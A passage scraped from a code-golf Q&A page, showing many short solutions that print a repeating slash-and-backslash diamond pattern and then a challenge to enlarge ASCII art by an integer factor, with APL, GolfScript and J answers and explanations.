<tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # [///](http://esolangs.org/wiki////), 116 bytes ``` /a/\\\\\\\\\\\\\\\///b/\\\\\\\\\\\\\\\\//A/aaaaa//B/bbbbb//C/ABABABABABAB //D/BABABABABABA /CCCCDDDDCCCCDDDDCCCCDDDD ``` [Try it online!](http://slashes.tryitonline.net/#code=L2EvXFxcXFxcXFxcXFxcXFxcLy8vYi9cXFxcXFxcXFxcXFxcXFxcLy9BL2FhYWFhLy9CL2JiYmJiLy9DL0FCQUJBQkFCQUJBQgovL0QvQkFCQUJBQkFCQUJBCi9DQ0NDRERERENDQ0NEREREQ0NDQ0REREQ&input=) **Edit**: the `\\\\\\\\\\\\\\\/` and `\\\\\\\\\\\\\\\\` are actually a *single* / and \, respectively. **Edit**: -3 because I thought of removing `i`. I think this can't be further golfed. [Answer] # [05AB1E](http://github.com/Adriandmen/05AB1E), ~~18~~ 15 bytes Code: ``` „/\5×{4Å6×»6F=R ``` Explanation: ``` „/\ # Push the string "/\" 5× # Repeat 5 times: "/\/\/\/\/\" { # Sort, resulting in: "/////\\\\\" 4Å6 # Create a list of 6's with length 4: [6, 6, 6, 6] × # Vectorized string multiplication » # Join by newlines 6F # Do the following six times.. = # Print with a newline without popping R # Reverse the string ``` Uses the **CP-1252** encoding. [Try it online!](http://05ab1e.tryitonline.net/#code=4oCeL1w1w5d7NMOFNsOXwrs2Rj1S&input=) [Answer] ## Python 2, 49 bytes ``` b,a='\/';exec("print(a*5+b*5)*6;"*4+"a,b=b,a;")*6 ``` Thanks to Mitch Schwartz for this clean method that saves a byte. The idea is to print four lines of `('\\'*5+'/'*5)*6`, swap the roles of slash and backslash, and then do that whole process 6 times. The two characters are stored in `a` and `b`, and swapped as `a,b=b,a`. The double-loop is double by generating the following code string, then executing it with `exec`: ``` print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;a,b=b,a;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;a,b=b,a;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;a,b=b,a;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;a,b=b,a;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;a,b=b,a;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;print(a*5+b*5)*6;a,b=b,a; ``` --- **50 bytes:** ``` s='/'*5+'\\'*5;exec("print s*6;"*4+"s=s[::-1];")*6 ``` Makes the line string, prints it four times and then reverses it, then does that 6 times. Does so by generating the following code, then executing it: ``` print s*6;print s*6;print s*6;print s*6;s=s[::-1];print s*6;print s*6;print s*6;print s*6;s=s[::-1];print s*6;print s*6;print s*6;print s*6;s=s[::-1];print s*6;print s*6;print s*6;print s*6;s=s[::-1];print s*6;print s*6;print s*6;print s*6;s=s[::-1];print s*6;print s*6;print s*6;print s*6;s=s[::-1] ``` Here are some of the iterations of my golfing: ``` for c in([1]*4+[-1]*4)*3:print('/'*5+'\\'*5)[::c]*6 for i in range(24):print('/\\'*5+'\/'*5)[i/4%2::2]*6 for c in range(24):print('\\'*5+'/'*5)[::(c&4)/2-1]*6 for i in range(24):print('/'*5+'\\'*5)[::1-i/4%2*2]*6 for c in([1]*4+[0]*4)*3:print('\/'*5+'/\\'*5)[c::2]*6 for c in([1]*4+[0]*4)*3:print('\/'[c]*5+'/\\'[c]*5)*6 for c in(['/\\']*4+['\/']*4)*3:print(c[0]*5+c[1]*5)*6 for c in([5]*4+[-5]*4)*3:print('/'*c+'\\'*5+'/'*-c)*6 print((('/'*5+'\\'*5)*6+'\n')*4+(('\\'*5+'/'*5)*6+'\n')*4)*3 for x in(['/'*5+'\\'*5]*4+['\\'*5+'/'*5]*4)*3:print x*6 a='/'*5;b='\\'*5 for x in([a+b]*4+[b+a]*4)*3:print x*6 s='/'*5+'\\'*5 for x in([s]*4+[s[::-1]]*4)*3:print x*6 s=('/'*5+'\\'*5)*9 exec("print s[:60];"*4+"s=s[5:];")*6 a='/'*5;b='\\'*5 for i in range(24):print[a+b,b+a][i/4%2]*6 ``` [Answer] # 05AB1E, 15 bytes ``` „/\5×{R6×6FR4F= ``` [Try it online!](http://05ab1e.tryitonline.net/#code=4oCeL1w1w5d7UjbDlzZGUjRGPQ&input=) Explanation: ``` „/\ # Push "/\" 5× # Repeat string five times: "/\/\/\/\/\" { # Sort: "/////\\\\\" R # Reverse: "\\\\\///// 6× # Repeat string six times 6F # Repeat the following six times: R # Reverse 4F # Repeat the following four times: = # Print without popping ``` Uses the **CP-1252** encoding. [Answer] # [Bubblegum](http://esolangs.org/wiki/Bubblegum), 30 bytes ``` 00000000: d307 8118 1020 9dc5 3544 3523 f8a4 b386 ..... ..5D5#.... 00000010: aae6 e113 cfa3 f13c 1acf a3f1 0c00 .......<...... ``` Obligatory Bubblegum answer. [Answer] ## JavaScript (ES6), ~~68~~ ~~60~~ 58 bytes A recursive function. Several optimizations inspired from [chocochaos answer](https://codegolf.stackexchange.com/a/98720/58563). ``` f=(n=1440)=>n--?'/\\'[n/240&1^n/5&1]+(n%60?'':` `)+f(n):'' ``` ### Demo ``` f=(n=1440)=>n--?'/\\'[n/240&1^n/5&1]+(n%60?'':` `)+f(n):'' console.log(f()); ``` [Answer] # Haskell, ~~77~~ ~~70~~ 57 bytes ``` a%b=(<*[1..a]).([1..b]>>) unlines$4%3$5%6<$>["/\\","\\/"] ``` Boring `concat`s and `replicate`s instead of playing with sines. Old was: ``` unlines[["\\/"!!(ceiling$sin(pi*x/5)*sin(pi*y/4))|x<-[0.5..59]]|y<-[0.5..23]] ``` [Answer] # Brainfuck, 140 bytes ``` >>>++++++++[>++++++>++++++++++++<<-]++++++++++>->----<<<<<+++[>++++[>++++++[>>.....>.....<<<-]>.<<-]++++[>++++++[>>>.....<.....<<-]>.<<-]<-] ``` :-D [Answer] ## Pyke, 16 bytes ``` "/\"6*5m*n+4*sD3 ``` After update today that allowed `"` in string literals, 17 bytes ``` "/\\"6*5m*n+4*sD3 ``` [Try it here!](http://pyke.catbus.co.uk/?code=%22%2F%5C%5C%226%2a5m%2an%2B4%2asD3) [Answer] # Python 2, ~~86~~ ~~80~~ ~~76~~ ~~74~~ 73 bytes ``` for z in range(24):a=('/'*5+'\\'*5)*24;print((a+a[::-1])*3)[z*60:z*60+60] ``` Could probably golf a few more off it but it's a start. **Edit** Saved 6 by removing some unneeded brackets Another 4 by using a single string and then reversing it Thanks @Adnan. Had a late night last night and still not fully awake yet :p -1 by moving the `*24` to the variable instead of using it twice [Answer] # Brainfuck, 149 bytes ``` ++++++++++>++++++[>++++++++<-]>->+++++++++[>++++++++++<-]>++>+++[<<++++[<<++++++[>.....>>.....<<<-]<.>>>-]++++[<<++++++[>>>.....<<.....<-]<.>>>-]>>-] ``` [The best interpreter EVAR!](//copy.sh/brainfuck?c=KysrKysrKysrKz4rKysrKytbPisrKysrKysrPC1dPi0-KysrKysrKysrWz4rKysrKysrKysrPC1dPisrPisrK1s8PCsrKytbPDwrKysrKytbPi4uLi4uPj4uLi4uLjw8PC1dPC4-Pj4tXSsrKytbPDwrKysrKytbPj4-Li4uLi48PC4uLi4uPC1dPC4-Pj4tXT4-LV0$) This uses 6 cells (no wrapping, no modulo). Here they are: ``` 0A 00 2F 00 5C 00 ``` The `00` cells are used for the loop counters. Here, the counters are filled in with initial values: ``` 0A 06 2F 04 5C 03 ``` The leftmost counter is for the innermost loop (yes, I use nested loops of depth 3). Please note that the 4th cell (`04` counter) is used twice, once for `/////\\\\\...`, and once for `\\\\\/////...` every time. `0A`, `2F` and `5C` are the characters `\n`, `/` and `\`, respectively. [Answer] # Python 2.7 66 -> 56 -> 55 bytes ``` a="/"*5+"\\"*5;b=a[::-1];c=6*a+"\n";d=6*b+"\n";e=4*c+4*d;print e*3 ``` new to code golfing ``` a="/"*5+"\\"*5;print(4*(6*a+"\n")+4*(6*a[::-1]+"\n"))*3 ``` Thanks Stewie Griffin Forgot a silly whitespace ;) [Answer] # Brainfuck, 179 bytes ``` ->++++++++[-<++++++>]++>+++++++++[-<++++++++++>]++++++++++>>>>+++[-<++++[-<++++++[-<+++++[-<<<.>>>]+++++[-<<.>>]>]<<.>>>]++++[-<++++++[-<+++++[-<<.>>]+++++[-<<<.>>>]>]<<.>>>]>] ``` I know this isn't the best score in the thread but I wanted to try out brainfuck and give this a try. **Edit:** I must've made an error while copypasting. This version should work [Answer] # [Canvas](https://github.com/dzaima/Canvas), ~~10~~ 9 [bytes](https://github.com/dzaima/Canvas/blob/master/files/chartable.md) ``` /54*╬6×3* ``` [Try it here!](https://dzaima.github.io/Canvas/?u=LyV1RkYxNSV1RkYxNCV1RkYwQSV1MjU2QyV1RkYxNiVENyV1RkYxMyV1RkYwQQ__,v=1) Explanation: ``` / push "/" 54* extend horizontally 5 times and vertically 4 times ╬ quad-palindromize with 0 overlap 6× repeat horizontally 6 times 3* and again vertically, 3 times ``` [Answer] # [Dyalog APL](http://goo.gl/9KrKoM), 24 [bytes](http://meta.codegolf.stackexchange.com/a/9429/43319) ``` (60⍴5/0 4)⊖60/⍪∊3⍴⊂4/'/\' ``` [Answer] # Ruby, 46 bytes Creates the following string (70 characters, one set more than needed) then alternates between sampling characters `0..59` and `5..64`from it. ``` /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ ``` **code and output** ``` 24.times{|i|puts ((?/*5+?\\*5)*7)[i/4%2*5,60]} /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// ``` **interesting mistake (a 7 instead of a 5)** ``` 24.times{|i|puts ((?/*5+?\\*5)*7)[i/4%2*7,60]} /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ \\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\ ``` [Answer] # C, ~~66~~ 61 bytes 5 bytes saved thanks to orlp. Straightforward character by character printing. 61 characters per row, last is newline (ASCII 10) and the others alternate between `/`47 and `\` 92. ``` i;f(){for(i=1463;i;)putchar(i--%61?i%61/5+i/244&1?92:47:10);‌​} //call like this main(){f();} ``` [Answer] # [MATL](http://github.com/lmendo/MATL), ~~18~~ 16 bytes ``` '\/'6:&+thK5&Y") ``` [Try it online!](http://matl.tryitonline.net/#code=J1wvJzY6Jit0aEs1JlkiKQ&input=) ### Explanation ``` '\/' % Push this string 6: % Push array [1 2 3 4 5 6] &+ % 6×6 matrix with all pair-wise additions from that array th % Concatenate horizontally with itself. Gives a 6×12 matrix K % Push 4 5 % Push 5 &Y" % Repeat each entry of the matrix 4 times vertically and 5 times horizontally % This gives a 24×60 matrix ) % Index (modularly) into the string. This produces the desired 24×60 char array ``` [Answer] # Pyth, 22 bytes ``` V6V4V12p*5?%+bN2\\\/)k ``` Try it [here](http://pyth.herokuapp.com/?code=V6V4V12p%2a5%3F%25%2BbN2%5C%5C%5C%2F%29k&debug=0). Explanation: ``` V6 Loop 6 times, with N from 0 to 5: V4 Loop 4 times, with H from 0 to 3: V12 Loop 12 times, with b from 0 to 11: p Print without newline * The repetition 5 5 times of ? if % the remainder + b N when the sum of b and N 2 is divided by 2 \\ then the "\" character \/ else the "/" character ) End (implicitly print with newline) k k (empty string) (implicit end) (implicit end) ``` Sorry if the explanation is a little hard to understand, but it was kinda complicated. [Answer] # [V](http://github.com/DJMcMayhem/V), ~~22~~ 21 bytes **Edit** One byte won, thanks @DjMcMayhem: ``` 5á\5á/05ä$4Ä5x$p4Ä3ä} ``` Changes are: * `Y4P` -> `4Ä` Use V duplicate line instead of Vim built-in command (this will add a blank line at the end of the paragraph) * `3äG` -> `3ä}` Duplicate the paragraph instead of the whole buffer (to avoid blank line generated by previous change) --- **Original post** ``` 5á\5á/05ä$Y4P5x$p4Ä3äG ``` [Try it online](http://v.tryitonline.net/#code=NcOhXDXDoS8wNcOkJFk0UDV4JHA0w4Qzw6RH&input=) Decomposed like this: ``` 5á\ Write 5 \ 5á/ Write 5 / after 0 Go to the beginning of the line 5ä$ Copy the text to the end of the line and repeat it 5 times Y4P Copy the line and create 4 new copies 5x$p Delete the 5 first characters and put them at the end of the line 4Ä Duplicate this line 3äG Duplicate the whole text ``` [Answer] # [Jelly](http://github.com/DennisMitchell/jelly), ~~17~~ 16 bytes ``` ⁾/\ẋ6Wẋ4;U$ẋ3x5Y ``` [Try it online!](http://jelly.tryitonline.net/#code=4oG-L1zhuos2V-G6izQ7VSThuoszeDVZ&input=) Thanks to 6710 (miles) for -1 byte. [Answer] # [Actually](http://github.com/Mego/Seriously), 21 bytes ``` "/\"5*SR6*;4α@R4α+3αi ``` [Try it online!](http://actually.tryitonline.net/#code=Ii9cIjUqU1I2Kjs0zrFAUjTOsSszzrFp&input=) *-1 byte from Adnan* Explanation: ``` "/\"5*SR6*;4α@R4α+3αi "/\"5* "/\" repeated 5 times SR sort and reverse (result: "\\\\\/////") 6* repeat string 6 times (forms one row) ;4α copy and push a list containing 4 copies @R4α+ push a list containing 4 copies of the reversed string, append to previous list (now we have one row of diamonds) 3α repeat pattern vertically 2 more times i flatten and implicitly print ``` [Answer] # J, ~~31~~ ~~28~~ 19 bytes ``` 4#_60]`|.\5#72$'/\' ``` ## Usage ``` 4#_60]`|.\5#72$'/\' /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ /////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\ \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// \\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\/////\\\\\///// ``` [Answer] # APL, 30 bytes ``` A←240⍴'/////\\\\\'⋄24 60⍴A,⊖A ``` I'm quite new to APL, (I'm using APLX, but this should work across most implementations of APL), so this is a quite simplistic solution. ### Explanation: ``` A ← 240 ⍴ '/////\\\\\' ⍝ set A to be a 240 character vector populated with '/////\\\\\' ⋄ ⍝ statement separator 24 60 ⍴ A,⊖A ⍝ populate a 24 by 60 character matrix with the concatenation of A and the reverse of A (⊖A) ``` [Answer] # Python 2, 63 bytes ``` a='\n'.join([('/'*5+'\\'*5)*6]*4);print'\n'.join([a,a[::-1]]*3) ``` For Python 3, do this (65 bytes): ``` a='\n'.join([('/'*5+'\\'*5)*6]*4);print('\n'.join([a,a[::-1]]*3)) ``` [Answer] # [Self-modifying Brainfuck](//soulsphere.org/hacks/smbf), 91 bytes ``` >>+++[<++++[<++++++[<.....<.....>>-]<<<.>>>>-]++++[<++++++[<<.....>.....>-]<<<.>>>>-]>-] \/ ``` [Try it online!](//smbf.tryitonline.net#code=Pj4rKytbPCsrKytbPCsrKysrK1s8Li4uLi48Li4uLi4-Pi1dPDw8Lj4-Pj4tXSsrKytbPCsrKysrK1s8PC4uLi4uPi4uLi4uPi1dPDw8Lj4-Pj4tXT4tXQpcLw) Same as my [brainfuck answer](/a/98711/41024), but uses the 3 last characters of the source code instead of generating them at runtime. [Answer] ## Octave, ~~50~~ 48 bytes Anonymous function: ``` @()repmat([A=repmat(47,4,5) B=A*2-2;B A ''],3,6) ``` You can try [online here](http://octave-online.net). Simply run the above command and then run the function with `ans()`. Essentially this creates an array of the value 47 which is 4 high and 5 wide. It then creates a second array of value 92 which is the same size. The two arrays are concatenated into a checkerboard of `[A B;B A]`. The `''` is concatenated as well to force conversion to character strings. Finally the whole array is replicated 3 times down and 6 times across to form the final size. --- * Saved 2 bytes, thanks @StewieGriffin [Answer] ## PHP, ~~73~~ 69 bytes ``` for($s='/\\';$i<1440;$i++)echo$i%60<1?' ':'',$s[($i/5+($i/240|0))%2]; ``` ### Demo <http://ideone.com/z7N1Md> [Answer] ## APL, 16 ``` 4⌿5/1↓⍉12 7⍴'\/' ``` Try it on [tryapl.org](http://tryapl.org/?a=4%u233F5/1%u2193%u234912%207%u2374%27%5C/%27&run) [Answer] # Java 7, 120 bytes ``` String c(){String r="";for(int i=0;i<1440;r+=(i%60<1?"\n":"")+(i/60%8<4?i%10<5?"/":"\\":i%10<5?"\\":"/"),i++);return r;} ``` Pushed everything into one loop. Beats Brainfuck, mission accomplished. See it online: <https://ideone.com/pZjma3> ]
[Question] [ In this challenge, you must take multiline ASCII art as input, such as: ``` OOOOOO OOOOOO OOOOOO OOOOOOO OOOOOO OOOOOO OO OOOOOOO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OOOOO OO OOO OO OO OO OOOOO OO OO OO OO OO OO OO OO OO OO OO OO OOOOOO OOOOOO OOOOOO OOOOOOO OOOOOO OOOOOO OOOOOOO OO ``` And you will also take an integer as input. You must output the ASCII art enlarged by the amount specified with the integer. For example, if you used a second argument of `3`, the output would be ``` OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOO ``` Specifically, each character must turn into an `n` by `n` box of that character, where `n` is the integer argument. For example, an input of ``` ab cd ``` and 3 will result in ``` aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest code in bytes wins. [Answer] # APL, 7 chars/bytes\* ``` {⍺/⍺⌿⍵} ``` Function that takes the number and input string as parameters and returns the result: ``` a abcde fghij 2 {⍺/⍺⌿⍵} a aabbccddee aabbccddee ffgghhiijj ffgghhiijj 3 {⍺/⍺⌿⍵} a aaabbbcccdddeee aaabbbcccdddeee aaabbbcccdddeee fffggghhhiiijjj fffggghhhiiijjj fffggghhhiiijjj ``` ⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯ \*: APL can be written in its own (legacy) single-byte charset that maps APL symbols to the upper 128 byte values. Therefore, for the purpose of scoring, a program of N chars *that only uses ASCII characters and APL symbols* can be considered to be N bytes long. [Answer] ### GolfScript, 20 characters ``` n%(~{.{*}+@1/%n+*}+/ ``` Takes all input from STDIN, first line is the scaling factor, the rest the multiline-input. You can try the example [online](http://golfscript.apphb.com/?c=OyIyCiBPT09PT08gIE9PT09PTyAgT09PT09PICBPT09PT09PICAgICAgT09PT09PICAgT09PT09PICBPTyAgICAgIE9PT09PT08gCk9PICAgICAgT08gICAgT08gT08gICBPTyBPTyAgICAgICAgICBPTyAgICAgICBPTyAgICBPTyBPTyAgICAgIE9PICAgICAgCk9PICAgICAgT08gICAgT08gT08gICBPTyBPT09PTyAgICAgICBPTyAgIE9PTyBPTyAgICBPTyBPTyAgICAgIE9PT09PICAgCk9PICAgICAgT08gICAgT08gT08gICBPTyBPTyAgICAgICAgICBPTyAgICBPTyBPTyAgICBPTyBPTyAgICAgIE9PICAgICAgCiBPT09PT08gIE9PT09PTyAgT09PT09PICBPT09PT09PICAgICAgT09PT09PICAgT09PT09PICBPT09PT09PIE9PICAgICAgCiIKCm4lKH57LnsqfStAMS8lbisqfSsv&run=true). **Input** ``` 3 ab cd ``` **Output** ``` aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` **Code** ``` n% # Split the input into separate lines (~ # Take the first line and evaluate (factor) { # {...}+/ adds the factor to the code block and loops over # the remaining lines (i.e. the factor will be the top of stack # for each line of input .{ # Same thing, duplicate factor and add it to code block and # loop over each character (1/ splits the string into chars) * # multiply single-char string with factor }+@1/% n+ # Join string by adding a newline * # Multiply the line by the factor (left from the . operation) }+/ ``` [Answer] ## J, 20 17 characters ``` f=.([#&.|:#)];._2 ``` Defines a verb `f` that does what is required. Usage: ``` 3 f a aaaccc aaaccc aaaccc bbbddd bbbddd bbbddd ``` where `a` is the input string. On Windows an extra character is required to remove the `\r`: ``` f=.([#&.|:#)}:;._2 ``` **Explanation**: `];._2` chops the input string into chunks based on the last character of the string, which in this case will be a `\n`. Windows has `\r\n` so we need to use `}:` to chop an extra character off: `}:;._2`. [Cut verb documentation](http://jsoftware.com/help/dictionary/d331.htm) The rest of the code (with the exception of the assignment `f=.`) is a [fork](http://jsoftware.com/help/learning/09.htm). It breaks down like this: `[ #&.|: #` If `a` is our input string the calculation will be `3 # a` (we'll call this result `x`), then `3 [ a` (we'll call this result `y`) then `y #&.|: x`. `3 # a` just makes three copies of every member of `a`. [Copy verb documentation](http://jsoftware.com/help/dictionary/d400.htm) This turns ``` ab cd ``` into ``` aaabbb cccddd ``` `3 [ a` just returns 3. [Left verb documentation](http://jsoftware.com/help/dictionary/d500.htm) Finally `y #&.|: x` is `y` copy under transpose `x`. The `#` works as before, but the `&.|:` tells J to transpose the input first and then transpose it back when it's finished. [Under conjunction documentation](http://jsoftware.com/help/dictionary/d631.htm), [transpose verb documentation](http://jsoftware.com/help/dictionary/d232.htm). The transpose turns ``` aaabbb cccddd ``` into ``` ac ac ac bd bd bd ``` then the copy changes it to ``` aaaccc aaaccc 